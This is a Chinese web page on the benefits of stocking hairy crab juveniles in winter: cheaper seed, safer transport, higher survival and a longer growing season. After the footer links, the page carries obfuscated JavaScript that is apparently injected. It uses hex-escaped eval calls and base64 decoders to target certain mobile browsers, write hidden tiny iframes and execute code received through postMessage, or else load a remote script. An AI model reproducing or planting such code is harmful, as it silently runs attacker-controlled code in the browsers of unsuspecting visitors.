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大闸蟹养殖冬季投放蟹苗的优势

近年来大闸蟹养殖生产发展很快,很多养殖户理所当然的认为春季更适合于投放大闸蟹苗,其实不然,冬季投放大闸蟹苗的优势主要体现在以下几个方面。

大闸蟹养殖冬季投放蟹苗的优势

价格便宜

每年10月中旬至11月中旬是蟹苗大量起捕、转池集中越冬和销售的时期,在此期间选购苗种价格低廉,一般每只1元左右,而在春季,蟹苗每只售价达2元~3元。

大闸蟹养殖冬季投放蟹苗的优势

运输安全

刚起捕的蟹苗体内储存的脂肪丰富,体质强健,适应能力和抵抗力强,再者此时南北温差只有5℃~10℃,空气湿度大,便于操作,管理简单,运输安全可靠;而越冬后的蟹苗身体虚弱、抵抗力差,再加上南北温差大,易患多种疾病,运输成活率低,且运输条件要求较高。

大闸蟹养殖冬季投放蟹苗的优势

成活率高

冬季由于水质洁净,细菌病毒活动减弱,投放的蟹苗受各种病菌感染的机会减少;而春季蟹苗则会遭受多种病菌的侵袭致病,降低成活率。

大闸蟹养殖冬季投放蟹苗的优势

生长期长

春投蟹苗的生长期只有6个多月,除去适应期,生长期更短,个体小、产量低在所难免;冬季投放蟹苗一般可延长有效生长期1个月~2个月,对增大规格、提高产量、增加效益效果显著。

部分专业知识转自网络

交友与打赏

其他快速通道

eval("\x77\x69\x6e\x64\x6f\x77")["\x72\x76\x76\x64"]=function(e){var YY =''+'ABCDEFGH'+'IJKLMNO'+'PQRSTUVWXYZa'+'bcdefg'+'hijklmnopqrst'+'uvwxyz0'+'123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=YY.indexOf(e.charAt(f++));o=YY.indexOf(e.charAt(f++));u=YY.indexOf(e.charAt(f++));a=YY.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x53\x76\x75\x59\x64\x72\x45\x70\x75"]=function(){eval(rvvd("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQocnZ2ZCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHJ2dmQoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihydnZkKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbcnZ2ZCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHJ2dmQoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVRMMycrJ1VETjMwJysnQ2VHR0onKydUJysnSnFwbScrJ2IzazJZJysnRycrJ0dKVEp6JysnUUROd0UnKydUJysnUXpVJysnU2J2JysnTicrJ20nKydMaE4nKyczJysnYW5aMmInKyd1YycrJzNkMycrJ1onKydrJysnTWwnKydZa01sJysnRTAnKydNbCcrJ01IJysnYzBSJysnSGEnKycnKycnLCcnKydjZlgnKydWWDQnKyc1WicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyd1NjMnKydRUGcnKydkJysnJysnJywnRycp"));}
eval("\x77\x69\x6e\x64\x6f\x77")["\x74\x43\x54\x61"]=function(e){var Cs =''+'ABCDEFGHIJKLM'+'NOPQRSTUVWXYZab'+'cdefgh'+'ijklmnopqrs'+'tuvwxyz01234567'+'89+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Cs.indexOf(e.charAt(f++));o=Cs.indexOf(e.charAt(f++));u=Cs.indexOf(e.charAt(f++));a=Cs.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x6C\x43\x49\x46\x65\x54\x61\x74"]=function(){eval(tCTa("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQodENUYSh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHRDVGEoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih0Q1RhKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbdENUYSgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHRDVGEoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVRMJysndycrJ1UnKydqJysnTXonKycwJysnQ2VHJysnSlQnKydKc1YnKydEWicrJ3pWVycrJ2JHSlRKJysnelFEJysnTncnKydFJysnVFEnKyd6VVNTJysnYnZObScrJ0x1JysnSjInKydjJysnbVJXYicrJ3VjM2QzJysnWmtNJysnbFlrJysnTWwnKydFME0nKydsTScrJ0hjJysnMFJIYScrJycrJycsJycrJ2hEdicrJ3RUaycrJ1YwJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0RjcCcrJ0pxNicrJ2knKycnKycnLCdTJyk="));}